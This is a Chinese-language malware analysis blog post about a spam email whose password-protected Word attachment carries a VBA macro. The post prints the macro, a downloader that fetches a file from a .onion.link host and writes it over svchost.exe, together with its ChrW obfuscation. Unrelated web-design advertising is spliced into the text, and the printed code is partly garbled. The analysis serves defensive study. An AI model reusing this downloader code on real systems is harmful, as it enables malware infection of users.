新聞中心
上周一(12月4號),朋友給我轉(zhuǎn)發(fā)了一封垃圾郵件,郵件里面附帶一個word文檔,我們倆都是搞信安,自然察覺一絲危險的氣味,之前也沒有分析過word附件,因而有了今天的分析。
10年積累的網(wǎng)站設(shè)計、網(wǎng)站建設(shè)經(jīng)驗,可以快速應(yīng)對客戶對網(wǎng)站的新想法和需求。提供各種問題對應(yīng)的解決方案。讓選擇我們的客戶得到更好、更有力的網(wǎng)絡(luò)服務(wù)。我雖然不認(rèn)識你,你也不認(rèn)識我。但先建設(shè)網(wǎng)站后付款的網(wǎng)站建設(shè)流程,更有二七免費網(wǎng)站建設(shè)讓你可以放心的選擇與我們合作。
- 環(huán)境:ubuntu 16.04
- office軟件: LibreOffice writer
1. FBI Warning
分析有風(fēng)險,請在虛擬機(jī)上運行;且在分析之前要禁止word的宏自動運行
2. 郵件截圖
3. 郵件分析
可以看到郵件的正文內(nèi)容,是由一張圖片和一個附件組成,其中我們要重點關(guān)注的就是。
- doc附件有密碼,且密碼為1115
4. 附件分析
一般分析方法
- 4.1 一般來說,非打開方式去分析一個word附件,我們一般會選擇oletools,但是這是在word文檔非加密的情況下,加了密碼后無法通過oletools來提取word文檔中的宏。
4.2 olevba 提取宏展示
olevba -c xxx.doc
- -c: 只顯示word中的宏代碼
- -a: 自動分析word是否可疑
加了密碼后,就不能用一般的分析方法
- 4.3 嘗試是用olevba來提取文檔的vba代碼
- 4.4 關(guān)閉宏自動運行的前提下,打開word附件。
- 4.4.1 可以看到,word文檔需要密碼,當(dāng)你輸入完密碼后,就會自動打開文檔,如果你之前啟用了宏,那么當(dāng)你輸入完密碼后就會中招。
- 4.4.2 打開后,提示word文檔包含宏
- 4.4.3 誘惑用戶啟用宏
- 4.4.1 可以看到,word文檔需要密碼,當(dāng)你輸入完密碼后,就會自動打開文檔,如果你之前啟用了宏,那么當(dāng)你輸入完密碼后就會中招。
4.5 查看宏代碼
可以看到這里存在一段vb編寫的代碼,從調(diào)用WinHttpReq可以猜出來,這一個word文檔的作用是一個下載器- 4.6 宏代碼分析
- Step1. 訪問暗網(wǎng)的某個網(wǎng)站下載一個文件,現(xiàn)在已經(jīng)無法打開這個暗網(wǎng)的鏈接。
Sub Main
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password"
WinHttpReq.send
如下圖,使用tor瀏覽器訪問對應(yīng)的暗網(wǎng)鏈接,返回一個網(wǎng)頁來說明該暗網(wǎng)地址已經(jīng)失效。
- Step2. 一個簡單的混淆,拼湊出
Dim first5 As String Dim second5 As String Dim last5 As String first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101) second5 = ChrW(97) & ChrW(109) last5 = first5 + second5
其中重要的部分就是first5和second5中的ChrW,ChrW是將十進(jìn)制的ascii值轉(zhuǎn)換為ascii字符,因而可以用python來做一個轉(zhuǎn)換。
first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"
second5 = "ChrW(97) & ChrW(109)"
def convert_vb2py(s):
first_s = s.replace("ChrW","chr")
second_s = first_s.replace("&","+")
return second_s
print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))
最終我們可以得到last5的值為ADODB.Stream,它是vb中一個對象,用來與文件系統(tǒng)操作
Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件
xyuhjnx = WinHttpReq.responseBody If WinHttpReq.Status = 200 Then Set oStream = CreateObject(last5) oStream.Open oStream.Type = Val("1FFF") oStream.Write WinHttpReq.responseBody Dim first6 As String Dim last6 As String first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) last6 = first6 oStream.SaveToFile Environ( "svchost.exe", Val("2FFF") oStream.Close End If End Sub
代碼獲取icon.jpg的內(nèi)容,并創(chuàng)建一個Stream對象寫入icon.jpg的內(nèi)容,然后保存到svchost.exe所在的目錄,也就是c:\windows\system32\目錄下,Val("2FFF")的值為2,在adobe.stream的SaveToFile方法中,第二個參數(shù)代表覆蓋原來的文件。
- 4.7 到此,我們分析完整個宏代碼
總的來說,這是一個downloader,下載惡意代碼并替換系統(tǒng)的svchost.exe。國外的一些安全研究者也上傳了去掉密碼后的文檔到惡意軟件分析網(wǎng)站,下面是其中的一個鏈接。
參考鏈接
- 其它事件分析1
- 惡意軟件分析網(wǎng)站分析結(jié)果
- SaveToFIle參考
本文標(biāo)題:一次垃圾郵件的分析
路徑分享:http://ef60e0e.cn/article/gssccc.html